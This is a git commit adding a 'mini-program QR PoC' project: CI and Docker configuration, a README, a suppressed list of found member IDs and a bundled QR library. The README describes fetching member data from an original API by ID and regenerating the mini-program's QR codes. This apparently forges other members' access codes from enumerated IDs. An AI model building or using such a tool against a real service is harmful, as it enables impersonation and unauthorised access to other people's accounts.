This commit is contained in:
7
.dockerignore
Normal file
7
.dockerignore
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
*.pyo
|
||||||
|
.venv/
|
||||||
|
.git/
|
||||||
|
*.gif
|
||||||
|
*.json
|
||||||
92
.gitea/workflows/docker-cicd.yaml
Normal file
92
.gitea/workflows/docker-cicd.yaml
Normal file
@@ -0,0 +1,92 @@
|
|||||||
|
name: docker-cicd
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- main
|
||||||
|
- master
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build-and-push:
|
||||||
|
runs-on: linux_amd64
|
||||||
|
env:
|
||||||
|
GITEA_SERVER_URL: ${{ gitea.server_url }}
|
||||||
|
GITEA_REPOSITORY: ${{ gitea.repository }}
|
||||||
|
GITEA_REF_NAME: ${{ gitea.ref_name }}
|
||||||
|
GITEA_SHA: ${{ gitea.sha }}
|
||||||
|
DEFAULT_BRANCH: ${{ vars.DEFAULT_BRANCH }}
|
||||||
|
IMAGE_NAME_OVERRIDE: ${{ vars.IMAGE_NAME }}
|
||||||
|
PACKAGE_USER: ${{ vars.PACKAGE_USER }}
|
||||||
|
DOCKER_TOKEN: ${{ secrets.DOCKER_TOKEN }}
|
||||||
|
steps:
|
||||||
|
- name: Validate required tools and secrets
|
||||||
|
run: |
|
||||||
|
set -eu
|
||||||
|
command -v git >/dev/null 2>&1 || { echo "git 未安装"; exit 1; }
|
||||||
|
command -v docker >/dev/null 2>&1 || { echo "docker 未安装"; exit 1; }
|
||||||
|
command -v curl >/dev/null 2>&1 || { echo "curl 未安装"; exit 1; }
|
||||||
|
[ -n "${DOCKER_TOKEN}" ] || { echo "缺少 secrets.DOCKER_TOKEN"; exit 1; }
|
||||||
|
|
||||||
|
- name: Clone current repository
|
||||||
|
run: |
|
||||||
|
set -eu
|
||||||
|
SERVER_HOST="$(printf '%s' "${GITEA_SERVER_URL}" | sed -E 's#^[a-zA-Z]+://##; s#/.*$##')"
|
||||||
|
OWNER="${GITEA_REPOSITORY%%/*}"
|
||||||
|
LOGIN_USER="${PACKAGE_USER:-$OWNER}"
|
||||||
|
WORKDIR="/tmp/${GITEA_REPOSITORY##*/}-${GITEA_SHA}"
|
||||||
|
rm -rf "${WORKDIR}"
|
||||||
|
git clone --depth=1 "https://${LOGIN_USER}:${DOCKER_TOKEN}@${SERVER_HOST}/${GITEA_REPOSITORY}.git" "${WORKDIR}"
|
||||||
|
cd "${WORKDIR}"
|
||||||
|
git fetch --depth=1 origin "${GITEA_SHA}" || true
|
||||||
|
git checkout "${GITEA_SHA}" || true
|
||||||
|
echo "WORKDIR=${WORKDIR}" >> "${GITHUB_ENV}"
|
||||||
|
echo "SERVER_HOST=${SERVER_HOST}" >> "${GITHUB_ENV}"
|
||||||
|
echo "LOGIN_USER=${LOGIN_USER}" >> "${GITHUB_ENV}"
|
||||||
|
|
||||||
|
- name: Build and push Docker image
|
||||||
|
run: |
|
||||||
|
set -eu
|
||||||
|
cd "${WORKDIR}"
|
||||||
|
OWNER="${GITEA_REPOSITORY%%/*}"
|
||||||
|
REPO_NAME="${GITEA_REPOSITORY##*/}"
|
||||||
|
IMAGE_NAME="$(printf '%s' "${IMAGE_NAME_OVERRIDE:-$REPO_NAME}" | tr '[:upper:]' '[:lower:]')"
|
||||||
|
IMAGE_REF="${SERVER_HOST}/${OWNER}/${IMAGE_NAME}"
|
||||||
|
SHORT_SHA="$(printf '%s' "${GITEA_SHA}" | cut -c1-12)"
|
||||||
|
REF_SLUG="$(printf '%s' "${GITEA_REF_NAME}" | tr '/:@ ' '----')"
|
||||||
|
DEFAULT_BRANCH_NAME="${DEFAULT_BRANCH:-main}"
|
||||||
|
|
||||||
|
echo "${DOCKER_TOKEN}" | docker login "${SERVER_HOST}" --username "${LOGIN_USER}" --password-stdin
|
||||||
|
|
||||||
|
docker build -t "${IMAGE_REF}:sha-${SHORT_SHA}" .
|
||||||
|
docker tag "${IMAGE_REF}:sha-${SHORT_SHA}" "${IMAGE_REF}:branch-${REF_SLUG}"
|
||||||
|
docker push "${IMAGE_REF}:sha-${SHORT_SHA}"
|
||||||
|
docker push "${IMAGE_REF}:branch-${REF_SLUG}"
|
||||||
|
|
||||||
|
if [ "${GITEA_REF_NAME}" = "${DEFAULT_BRANCH_NAME}" ]; then
|
||||||
|
docker tag "${IMAGE_REF}:sha-${SHORT_SHA}" "${IMAGE_REF}:latest"
|
||||||
|
docker push "${IMAGE_REF}:latest"
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "OWNER=${OWNER}" >> "${GITHUB_ENV}"
|
||||||
|
echo "REPO_NAME=${REPO_NAME}" >> "${GITHUB_ENV}"
|
||||||
|
echo "IMAGE_NAME=${IMAGE_NAME}" >> "${GITHUB_ENV}"
|
||||||
|
echo "IMAGE_REF=${IMAGE_REF}" >> "${GITHUB_ENV}"
|
||||||
|
|
||||||
|
- name: Link package to current repository
|
||||||
|
run: |
|
||||||
|
set -eu
|
||||||
|
API_URL="${GITEA_SERVER_URL%/}/api/v1/packages/${OWNER}/container/${IMAGE_NAME}/-/link/${REPO_NAME}"
|
||||||
|
HTTP_CODE="$(curl -sS -o /tmp/package-link.out -w '%{http_code}' \
|
||||||
|
-X POST \
|
||||||
|
-H "Authorization: token ${DOCKER_TOKEN}" \
|
||||||
|
"${API_URL}")"
|
||||||
|
|
||||||
|
if [ "${HTTP_CODE}" = "201" ] || [ "${HTTP_CODE}" = "204" ] || [ "${HTTP_CODE}" = "409" ]; then
|
||||||
|
echo "package link result: ${HTTP_CODE}"
|
||||||
|
cat /tmp/package-link.out || true
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "package link failed: ${HTTP_CODE}"
|
||||||
|
cat /tmp/package-link.out || true
|
||||||
|
exit 1
|
||||||
6
.gitignore
vendored
Normal file
6
.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
.venv/
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
*.pyo
|
||||||
|
*.pyd
|
||||||
|
.DS_Store
|
||||||
23
Dockerfile
Normal file
23
Dockerfile
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
FROM python:3.11-slim-bookworm
|
||||||
|
|
||||||
|
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||||
|
PYTHONUNBUFFERED=1 \
|
||||||
|
PORT=8000 \
|
||||||
|
HOST=0.0.0.0 \
|
||||||
|
TZ=Asia/Shanghai \
|
||||||
|
MINIAPP_QR_TIMEZONE=Asia/Shanghai
|
||||||
|
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
RUN apt-get update \
|
||||||
|
&& apt-get install -y --no-install-recommends nodejs ca-certificates tzdata \
|
||||||
|
&& rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
|
COPY requirements.txt .
|
||||||
|
RUN pip install --no-cache-dir -r requirements.txt
|
||||||
|
|
||||||
|
COPY . .
|
||||||
|
|
||||||
|
EXPOSE 8000
|
||||||
|
|
||||||
|
CMD ["python", "web_app.py"]
|
||||||
77
README.txt
Normal file
77
README.txt
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
Portable mini-program QR PoC
|
||||||
|
|
||||||
|
Requirements:
|
||||||
|
- Python 3
|
||||||
|
- Node.js
|
||||||
|
|
||||||
|
CLI usage:
|
||||||
|
1) Fetch server data and generate GIF
|
||||||
|
python3 miniapp_qr_poc.py --member-id 114477 --json-out member_114477.json --gif-out member_114477.gif
|
||||||
|
|
||||||
|
2) Offline mode from an existing qr hex string
|
||||||
|
python3 miniapp_qr_poc.py --qr A92205FA05FA000E3C9E107C23EE7F1234560031050C0000000000000000000000000000000000000000000000000000000000000000003A0000 --gif-out out.gif
|
||||||
|
|
||||||
|
Web usage:
|
||||||
|
1) Install dependencies
|
||||||
|
python3 -m pip install -r requirements.txt
|
||||||
|
|
||||||
|
2) Start the web page
|
||||||
|
python3 web_app.py
|
||||||
|
|
||||||
|
3) Open:
|
||||||
|
http://127.0.0.1:8000
|
||||||
|
|
||||||
|
Docker usage:
|
||||||
|
1) Build
|
||||||
|
docker build -t miniapp-qr-web .
|
||||||
|
|
||||||
|
2) Run
|
||||||
|
docker run --rm -p 8000:8000 -e TZ=Asia/Shanghai -e MINIAPP_QR_TIMEZONE=Asia/Shanghai miniapp-qr-web
|
||||||
|
|
||||||
|
Or use compose:
|
||||||
|
docker compose up --build
|
||||||
|
|
||||||
|
Features:
|
||||||
|
- Reads IDs from ./found_ids.txt
|
||||||
|
- Lets you select an ID from the page
|
||||||
|
- Calls the original API and generates the QR GIF in-browser
|
||||||
|
- Keeps the original CLI script available
|
||||||
|
|
||||||
|
Notes:
|
||||||
|
- The script looks for JS dependencies relative to itself under ./js/
|
||||||
|
- It reproduces the mini-program's getCommand(qr) wrapping and uses the bundled QR JS renderer
|
||||||
|
- Default timezone for QR payload generation is Asia/Shanghai; you can override it with MINIAPP_QR_TIMEZONE
|
||||||
|
|
||||||
|
Gitea CI/CD template:
|
||||||
|
1) Add `.gitea/workflows/docker-cicd.yaml` to your repository.
|
||||||
|
|
||||||
|
2) Repository Actions must be enabled:
|
||||||
|
- Repository Settings -> Enable Repository Actions
|
||||||
|
|
||||||
|
3) Your runner should have a label like:
|
||||||
|
linux_amd64
|
||||||
|
|
||||||
|
4) The runner host needs these commands installed:
|
||||||
|
- git
|
||||||
|
- docker
|
||||||
|
- curl
|
||||||
|
|
||||||
|
5) Required repository variables/secrets:
|
||||||
|
Variables:
|
||||||
|
- PACKAGE_USER -> optional; defaults to current repo owner. If your repo is under an organization, or the token belongs to another user/bot, set this explicitly to the token owner username.
|
||||||
|
- DEFAULT_BRANCH -> optional, defaults to main
|
||||||
|
- IMAGE_NAME -> optional, defaults to current repo name
|
||||||
|
|
||||||
|
Secret:
|
||||||
|
- DOCKER_TOKEN -> personal access token with at least repository read + package read/write permissions
|
||||||
|
|
||||||
|
6) What the workflow does:
|
||||||
|
- clones the current repo from Gitea
|
||||||
|
- builds the Docker image
|
||||||
|
- pushes it to the current Gitea instance package registry
|
||||||
|
- links the pushed container package back to the current repository
|
||||||
|
|
||||||
|
7) Registry image naming:
|
||||||
|
{gitea-domain}/{owner}/{image}
|
||||||
|
Example:
|
||||||
|
gitea.example.com/myteam/miniapp_qr_portable_bundle:latest
|
||||||
9
compose.yaml
Normal file
9
compose.yaml
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
services:
|
||||||
|
miniapp-qr-web:
|
||||||
|
build: .
|
||||||
|
container_name: miniapp-qr-web
|
||||||
|
ports:
|
||||||
|
- "8000:8000"
|
||||||
|
environment:
|
||||||
|
TZ: Asia/Shanghai
|
||||||
|
MINIAPP_QR_TIMEZONE: Asia/Shanghai
|
||||||
2159
found_ids.txt
Normal file
2159
found_ids.txt
Normal file
File diff suppressed because it is too large
Load Diff
800
js/0C723952F73FD4DF6A145155C4220D83.js
Normal file
800
js/0C723952F73FD4DF6A145155C4220D83.js
Normal file
@@ -0,0 +1,800 @@
|
|||||||
|
Object.defineProperty(exports, "__esModule", {
|
||||||
|
value: !0
|
||||||
|
}), exports.QR = void 0;
|
||||||
|
var r = function(r, t) {
|
||||||
|
var e = r,
|
||||||
|
n = f[t],
|
||||||
|
o = null,
|
||||||
|
a = 0,
|
||||||
|
i = null,
|
||||||
|
u = [],
|
||||||
|
g = {},
|
||||||
|
c = function(r, t) {
|
||||||
|
o = function(r) {
|
||||||
|
for (var t = new Array(r), e = 0; e < r; e += 1) {
|
||||||
|
t[e] = new Array(r);
|
||||||
|
for (var n = 0; n < r; n += 1) t[e][n] = null
|
||||||
|
}
|
||||||
|
return t
|
||||||
|
}(a = 4 * e + 17), h(0, 0), h(a - 7, 0), h(0, a - 7), v(), l(), w(r, t), e >= 7 && s(r), null == i && (i = p(e, n, u)), d(i, t)
|
||||||
|
},
|
||||||
|
h = function(r, t) {
|
||||||
|
for (var e = -1; e <= 7; e += 1)
|
||||||
|
if (!(r + e <= -1 || a <= r + e))
|
||||||
|
for (var n = -1; n <= 7; n += 1) t + n <= -1 || a <= t + n || (o[r + e][t + n] = 0 <= e && e <= 6 && (0 === n || 6 === n) || 0 <= n && n <= 6 && (0 === e || 6 === e) || 2 <= e && e <= 4 && 2 <= n && n <= 4)
|
||||||
|
},
|
||||||
|
l = function() {
|
||||||
|
for (var r = 8; r < a - 8; r += 1) null == o[r][6] && (o[r][6] = r % 2 == 0);
|
||||||
|
for (var t = 8; t < a - 8; t += 1) null == o[6][t] && (o[6][t] = t % 2 == 0)
|
||||||
|
},
|
||||||
|
v = function() {
|
||||||
|
for (var r = y.getPatternPosition(e), t = 0; t < r.length; t += 1)
|
||||||
|
for (var n = 0; n < r.length; n += 1) {
|
||||||
|
var a = r[t],
|
||||||
|
i = r[n];
|
||||||
|
if (null == o[a][i])
|
||||||
|
for (var u = -2; u <= 2; u += 1)
|
||||||
|
for (var f = -2; f <= 2; f += 1) o[a + u][i + f] = -2 === u || 2 === u || -2 === f || 2 === f || 0 === u && 0 === f
|
||||||
|
}
|
||||||
|
},
|
||||||
|
s = function(r) {
|
||||||
|
for (var t = y.getBCHTypeNumber(e), n = 0; n < 18; n += 1) o[Math.floor(n / 3)][n % 3 + a - 8 - 3] = !r && 1 == (t >> n & 1);
|
||||||
|
for (var i = 0; i < 18; i += 1) o[i % 3 + a - 8 - 3][Math.floor(i / 3)] = !r && 1 == (t >> i & 1)
|
||||||
|
},
|
||||||
|
w = function(r, t) {
|
||||||
|
for (var e = n << 3 | t, i = y.getBCHTypeInfo(e), u = 0; u < 15; u += 1) {
|
||||||
|
var f = !r && 1 == (i >> u & 1);
|
||||||
|
u < 6 ? o[u][8] = f : u < 8 ? o[u + 1][8] = f : o[a - 15 + u][8] = f
|
||||||
|
}
|
||||||
|
for (var g = 0; g < 15; g += 1) {
|
||||||
|
var c = !r && 1 == (i >> g & 1);
|
||||||
|
g < 8 ? o[8][a - g - 1] = c : g < 9 ? o[8][15 - g - 1 + 1] = c : o[8][15 - g - 1] = c
|
||||||
|
}
|
||||||
|
o[a - 8][8] = !r
|
||||||
|
},
|
||||||
|
d = function(r, t) {
|
||||||
|
for (var e = -1, n = a - 1, i = 7, u = 0, f = y.getMaskFunction(t), g = a - 1; g > 0; g -= 2)
|
||||||
|
for (6 === g && (g -= 1);;) {
|
||||||
|
for (var c = 0; c < 2; c += 1)
|
||||||
|
if (null == o[n][g - c]) {
|
||||||
|
var h = !1;
|
||||||
|
u < r.length && (h = 1 == (r[u] >>> i & 1)), f(n, g - c) && (h = !h), o[n][g - c] = h, -1 === (i -= 1) && (u += 1, i = 7)
|
||||||
|
} if ((n += e) < 0 || a <= n) {
|
||||||
|
n -= e, e = -e;
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
p = function(r, t, e) {
|
||||||
|
for (var n = C.getRSBlocks(r, t), o = k(), a = 0; a < e.length; a += 1) {
|
||||||
|
var i = e[a];
|
||||||
|
o.put(i.getMode(), 4), o.put(i.getLength(), y.getLengthInBits(i.getMode(), r)), i.write(o)
|
||||||
|
}
|
||||||
|
for (var u = 0, f = 0; f < n.length; f += 1) u += n[f].dataCount;
|
||||||
|
if (o.getLengthInBits() > 8 * u) throw new Error("code length overflow. (" + o.getLengthInBits() + ">" + 8 * u + ")");
|
||||||
|
for (o.getLengthInBits() + 4 <= 8 * u && o.put(0, 4); o.getLengthInBits() % 8 != 0;) o.putBit(!1);
|
||||||
|
for (; !(o.getLengthInBits() >= 8 * u || (o.put(236, 8), o.getLengthInBits() >= 8 * u));) o.put(17, 8);
|
||||||
|
return function(r, t) {
|
||||||
|
for (var e = 0, n = 0, o = 0, a = new Array(t.length), i = new Array(t.length), u = 0; u < t.length; u += 1) {
|
||||||
|
var f = t[u].dataCount,
|
||||||
|
g = t[u].totalCount - f;
|
||||||
|
n = Math.max(n, f), o = Math.max(o, g), a[u] = new Array(f);
|
||||||
|
for (var c = 0; c < a[u].length; c += 1) a[u][c] = 255 & r.getBuffer()[c + e];
|
||||||
|
e += f;
|
||||||
|
var h = y.getErrorCorrectPolynomial(g),
|
||||||
|
l = B(a[u], h.getLength() - 1).mod(h);
|
||||||
|
i[u] = new Array(h.getLength() - 1);
|
||||||
|
for (var v = 0; v < i[u].length; v += 1) {
|
||||||
|
var s = v + l.getLength() - i[u].length;
|
||||||
|
i[u][v] = s >= 0 ? l.getAt(s) : 0
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (var w = 0, d = 0; d < t.length; d += 1) w += t[d].totalCount;
|
||||||
|
for (var p = new Array(w), C = 0, k = 0; k < n; k += 1)
|
||||||
|
for (var m = 0; m < t.length; m += 1) k < a[m].length && (p[C] = a[m][k], C += 1);
|
||||||
|
for (var A = 0; A < o; A += 1)
|
||||||
|
for (var L = 0; L < t.length; L += 1) A < i[L].length && (p[C] = i[L][A], C += 1);
|
||||||
|
return p
|
||||||
|
}(o, n)
|
||||||
|
};
|
||||||
|
return g.addData = function(r) {
|
||||||
|
var t = m(r);
|
||||||
|
u.push(t), i = null
|
||||||
|
}, g.isDark = function(r, t) {
|
||||||
|
if (r < 0 || a <= r || t < 0 || a <= t) throw new Error(r + "," + t);
|
||||||
|
return o[r][t]
|
||||||
|
}, g.getModuleCount = function() {
|
||||||
|
return a
|
||||||
|
}, g.make = function() {
|
||||||
|
c(!1, function() {
|
||||||
|
for (var r = 0, t = 0, e = 0; e < 8; e += 1) {
|
||||||
|
c(!0, e);
|
||||||
|
var n = y.getLostPoint(g);
|
||||||
|
(0 === e || r > n) && (r = n, t = e)
|
||||||
|
}
|
||||||
|
return t
|
||||||
|
}())
|
||||||
|
}, g.createTableTag = function(r, t) {
|
||||||
|
r = r || 2;
|
||||||
|
var e = "";
|
||||||
|
e += '<table style="', e += " border-width: 0px; border-style: none;", e += " border-collapse: collapse;", e += " padding: 0px; margin: " + (t = void 0 === t ? 4 * r : t) + "px;", e += '">', e += "<tbody>";
|
||||||
|
for (var n = 0; n < g.getModuleCount(); n += 1) {
|
||||||
|
e += "<tr>";
|
||||||
|
for (var o = 0; o < g.getModuleCount(); o += 1) e += '<td style="', e += " border-width: 0px; border-style: none;", e += " border-collapse: collapse;", e += " padding: 0px; margin: 0px;", e += " width: " + r + "px;", e += " height: " + r + "px;", e += " background-color: ", e += g.isDark(n, o) ? "#000000" : "#FFFFFF", e += ";", e += '"/>';
|
||||||
|
e += "</tr>"
|
||||||
|
}
|
||||||
|
return e += "</tbody>", e += "</table>"
|
||||||
|
}, g.createImgTag = function(r, t, e) {
|
||||||
|
r = r || 2;
|
||||||
|
var n = t = void 0 === t ? 4 * r : t,
|
||||||
|
o = g.getModuleCount() * r + t;
|
||||||
|
return b(e, e, (function(t, e) {
|
||||||
|
if (n <= t && t < o && n <= e && e < o) {
|
||||||
|
var a = Math.floor((t - n) / r),
|
||||||
|
i = Math.floor((e - n) / r);
|
||||||
|
return g.isDark(i, a) ? 0 : 1
|
||||||
|
}
|
||||||
|
return 1
|
||||||
|
}))
|
||||||
|
}, g
|
||||||
|
};
|
||||||
|
r.stringToBytes = function(r) {
|
||||||
|
for (var t = [], e = 0; e < r.length; e += 1) {
|
||||||
|
var n = r.charCodeAt(e);
|
||||||
|
t.push(255 & n)
|
||||||
|
}
|
||||||
|
return t
|
||||||
|
}, r.createStringToBytes = function(r, t) {
|
||||||
|
var e = function() {
|
||||||
|
for (var e = L(r), n = function() {
|
||||||
|
var r = e.read();
|
||||||
|
if (-1 === r) throw new Error;
|
||||||
|
return r
|
||||||
|
}, o = 0, a = {};;) {
|
||||||
|
var i = e.read();
|
||||||
|
if (-1 === i) break;
|
||||||
|
var u = n(),
|
||||||
|
f = n(),
|
||||||
|
g = n();
|
||||||
|
a[String.fromCharCode(i << 8 | u)] = f << 8 | g, o += 1
|
||||||
|
}
|
||||||
|
if (o !== t) throw new Error(o + " != " + t);
|
||||||
|
return a
|
||||||
|
}(),
|
||||||
|
n = "?".charCodeAt(0);
|
||||||
|
return function(r) {
|
||||||
|
for (var t = [], o = 0; o < r.length; o += 1) {
|
||||||
|
var a = r.charCodeAt(o);
|
||||||
|
if (a < 128) t.push(a);
|
||||||
|
else {
|
||||||
|
var i = e[r.charAt(o)];
|
||||||
|
"number" == typeof i ? (255 & i) === i ? t.push(i) : (t.push(i >>> 8), t.push(255 & i)) : t.push(n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return t
|
||||||
|
}
|
||||||
|
};
|
||||||
|
var t, e, n, o = 1,
|
||||||
|
a = 2,
|
||||||
|
i = 4,
|
||||||
|
u = 8,
|
||||||
|
f = {
|
||||||
|
L: 1,
|
||||||
|
M: 0,
|
||||||
|
Q: 3,
|
||||||
|
H: 2
|
||||||
|
},
|
||||||
|
g = 0,
|
||||||
|
c = 1,
|
||||||
|
h = 2,
|
||||||
|
l = 3,
|
||||||
|
v = 4,
|
||||||
|
s = 5,
|
||||||
|
w = 6,
|
||||||
|
d = 7,
|
||||||
|
y = (t = [
|
||||||
|
[],
|
||||||
|
[6, 18],
|
||||||
|
[6, 22],
|
||||||
|
[6, 26],
|
||||||
|
[6, 30],
|
||||||
|
[6, 34],
|
||||||
|
[6, 22, 38],
|
||||||
|
[6, 24, 42],
|
||||||
|
[6, 26, 46],
|
||||||
|
[6, 28, 50],
|
||||||
|
[6, 30, 54],
|
||||||
|
[6, 32, 58],
|
||||||
|
[6, 34, 62],
|
||||||
|
[6, 26, 46, 66],
|
||||||
|
[6, 26, 48, 70],
|
||||||
|
[6, 26, 50, 74],
|
||||||
|
[6, 30, 54, 78],
|
||||||
|
[6, 30, 56, 82],
|
||||||
|
[6, 30, 58, 86],
|
||||||
|
[6, 34, 62, 90],
|
||||||
|
[6, 28, 50, 72, 94],
|
||||||
|
[6, 26, 50, 74, 98],
|
||||||
|
[6, 30, 54, 78, 102],
|
||||||
|
[6, 28, 54, 80, 106],
|
||||||
|
[6, 32, 58, 84, 110],
|
||||||
|
[6, 30, 58, 86, 114],
|
||||||
|
[6, 34, 62, 90, 118],
|
||||||
|
[6, 26, 50, 74, 98, 122],
|
||||||
|
[6, 30, 54, 78, 102, 126],
|
||||||
|
[6, 26, 52, 78, 104, 130],
|
||||||
|
[6, 30, 56, 82, 108, 134],
|
||||||
|
[6, 34, 60, 86, 112, 138],
|
||||||
|
[6, 30, 58, 86, 114, 142],
|
||||||
|
[6, 34, 62, 90, 118, 146],
|
||||||
|
[6, 30, 54, 78, 102, 126, 150],
|
||||||
|
[6, 24, 50, 76, 102, 128, 154],
|
||||||
|
[6, 28, 54, 80, 106, 132, 158],
|
||||||
|
[6, 32, 58, 84, 110, 136, 162],
|
||||||
|
[6, 26, 54, 82, 110, 138, 166],
|
||||||
|
[6, 30, 58, 86, 114, 142, 170]
|
||||||
|
], n = function(r) {
|
||||||
|
for (var t = 0; 0 !== r;) t += 1, r >>>= 1;
|
||||||
|
return t
|
||||||
|
}, (e = {}).getBCHTypeInfo = function(r) {
|
||||||
|
for (var t = r << 10; n(t) - n(1335) >= 0;) t ^= 1335 << n(t) - n(1335);
|
||||||
|
return 21522 ^ (r << 10 | t)
|
||||||
|
}, e.getBCHTypeNumber = function(r) {
|
||||||
|
for (var t = r << 12; n(t) - n(7973) >= 0;) t ^= 7973 << n(t) - n(7973);
|
||||||
|
return r << 12 | t
|
||||||
|
}, e.getPatternPosition = function(r) {
|
||||||
|
return t[r - 1]
|
||||||
|
}, e.getMaskFunction = function(r) {
|
||||||
|
switch (r) {
|
||||||
|
case g:
|
||||||
|
return function(r, t) {
|
||||||
|
return (r + t) % 2 == 0
|
||||||
|
};
|
||||||
|
case c:
|
||||||
|
return function(r, t) {
|
||||||
|
return r % 2 == 0
|
||||||
|
};
|
||||||
|
case h:
|
||||||
|
return function(r, t) {
|
||||||
|
return t % 3 == 0
|
||||||
|
};
|
||||||
|
case l:
|
||||||
|
return function(r, t) {
|
||||||
|
return (r + t) % 3 == 0
|
||||||
|
};
|
||||||
|
case v:
|
||||||
|
return function(r, t) {
|
||||||
|
return (Math.floor(r / 2) + Math.floor(t / 3)) % 2 == 0
|
||||||
|
};
|
||||||
|
case s:
|
||||||
|
return function(r, t) {
|
||||||
|
return r * t % 2 + r * t % 3 == 0
|
||||||
|
};
|
||||||
|
case w:
|
||||||
|
return function(r, t) {
|
||||||
|
return (r * t % 2 + r * t % 3) % 2 == 0
|
||||||
|
};
|
||||||
|
case d:
|
||||||
|
return function(r, t) {
|
||||||
|
return (r * t % 3 + (r + t) % 2) % 2 == 0
|
||||||
|
};
|
||||||
|
default:
|
||||||
|
throw new Error("bad maskPattern:" + r)
|
||||||
|
}
|
||||||
|
}, e.getErrorCorrectPolynomial = function(r) {
|
||||||
|
for (var t = B([1], 0), e = 0; e < r; e += 1) t = t.multiply(B([1, p.gexp(e)], 0));
|
||||||
|
return t
|
||||||
|
}, e.getLengthInBits = function(r, t) {
|
||||||
|
if (1 <= t && t < 10) switch (r) {
|
||||||
|
case o:
|
||||||
|
return 10;
|
||||||
|
case a:
|
||||||
|
return 9;
|
||||||
|
case i:
|
||||||
|
case u:
|
||||||
|
return 8;
|
||||||
|
default:
|
||||||
|
throw new Error("mode:" + r)
|
||||||
|
} else if (t < 27) switch (r) {
|
||||||
|
case o:
|
||||||
|
return 12;
|
||||||
|
case a:
|
||||||
|
return 11;
|
||||||
|
case i:
|
||||||
|
return 16;
|
||||||
|
case u:
|
||||||
|
return 10;
|
||||||
|
default:
|
||||||
|
throw new Error("mode:" + r)
|
||||||
|
} else {
|
||||||
|
if (!(t < 41)) throw new Error("type:" + t);
|
||||||
|
switch (r) {
|
||||||
|
case o:
|
||||||
|
return 14;
|
||||||
|
case a:
|
||||||
|
return 13;
|
||||||
|
case i:
|
||||||
|
return 16;
|
||||||
|
case u:
|
||||||
|
return 12;
|
||||||
|
default:
|
||||||
|
throw new Error("mode:" + r)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}, e.getLostPoint = function(r) {
|
||||||
|
for (var t = r.getModuleCount(), e = 0, n = 0; n < t; n += 1)
|
||||||
|
for (var o = 0; o < t; o += 1) {
|
||||||
|
for (var a = 0, i = r.isDark(n, o), u = -1; u <= 1; u += 1)
|
||||||
|
if (!(n + u < 0 || t <= n + u))
|
||||||
|
for (var f = -1; f <= 1; f += 1) o + f < 0 || t <= o + f || 0 === u && 0 === f || i === r.isDark(n + u, o + f) && (a += 1);
|
||||||
|
a > 5 && (e += 3 + a - 5)
|
||||||
|
}
|
||||||
|
for (var g = 0; g < t - 1; g += 1)
|
||||||
|
for (var c = 0; c < t - 1; c += 1) {
|
||||||
|
var h = 0;
|
||||||
|
r.isDark(g, c) && (h += 1), r.isDark(g + 1, c) && (h += 1), r.isDark(g, c + 1) && (h += 1), r.isDark(g + 1, c + 1) && (h += 1), 0 !== h && 4 !== h || (e += 3)
|
||||||
|
}
|
||||||
|
for (var l = 0; l < t; l += 1)
|
||||||
|
for (var v = 0; v < t - 6; v += 1) r.isDark(l, v) && !r.isDark(l, v + 1) && r.isDark(l, v + 2) && r.isDark(l, v + 3) && r.isDark(l, v + 4) && !r.isDark(l, v + 5) && r.isDark(l, v + 6) && (e += 40);
|
||||||
|
for (var s = 0; s < t; s += 1)
|
||||||
|
for (var w = 0; w < t - 6; w += 1) r.isDark(w, s) && !r.isDark(w + 1, s) && r.isDark(w + 2, s) && r.isDark(w + 3, s) && r.isDark(w + 4, s) && !r.isDark(w + 5, s) && r.isDark(w + 6, s) && (e += 40);
|
||||||
|
for (var d = 0, y = 0; y < t; y += 1)
|
||||||
|
for (var p = 0; p < t; p += 1) r.isDark(p, y) && (d += 1);
|
||||||
|
return e += Math.abs(100 * d / t / t - 50) / 5 * 10
|
||||||
|
}, e),
|
||||||
|
p = function() {
|
||||||
|
for (var r = new Array(256), t = new Array(256), e = 0; e < 8; e += 1) r[e] = 1 << e;
|
||||||
|
for (var n = 8; n < 256; n += 1) r[n] = r[n - 4] ^ r[n - 5] ^ r[n - 6] ^ r[n - 8];
|
||||||
|
for (var o = 0; o < 255; o += 1) t[r[o]] = o;
|
||||||
|
var a = {
|
||||||
|
glog: function(r) {
|
||||||
|
if (r < 1) throw new Error("glog(" + r + ")");
|
||||||
|
return t[r]
|
||||||
|
},
|
||||||
|
gexp: function(t) {
|
||||||
|
for (; t < 0;) t += 255;
|
||||||
|
for (; t >= 256;) t -= 255;
|
||||||
|
return r[t]
|
||||||
|
}
|
||||||
|
};
|
||||||
|
return a
|
||||||
|
}();
|
||||||
|
|
||||||
|
function B(r, t) {
|
||||||
|
if (void 0 === r.length) throw new Error(r.length + "/" + t);
|
||||||
|
var e = function() {
|
||||||
|
for (var e = 0; e < r.length && 0 === r[e];) e += 1;
|
||||||
|
for (var n = new Array(r.length - e + t), o = 0; o < r.length - e; o += 1) n[o] = r[o + e];
|
||||||
|
return n
|
||||||
|
}(),
|
||||||
|
n = {
|
||||||
|
getAt: function(r) {
|
||||||
|
return e[r]
|
||||||
|
},
|
||||||
|
getLength: function() {
|
||||||
|
return e.length
|
||||||
|
},
|
||||||
|
multiply: function(r) {
|
||||||
|
for (var t = new Array(n.getLength() + r.getLength() - 1), e = 0; e < n.getLength(); e += 1)
|
||||||
|
for (var o = 0; o < r.getLength(); o += 1) t[e + o] ^= p.gexp(p.glog(n.getAt(e)) + p.glog(r.getAt(o)));
|
||||||
|
return B(t, 0)
|
||||||
|
},
|
||||||
|
mod: function(r) {
|
||||||
|
if (n.getLength() - r.getLength() < 0) return n;
|
||||||
|
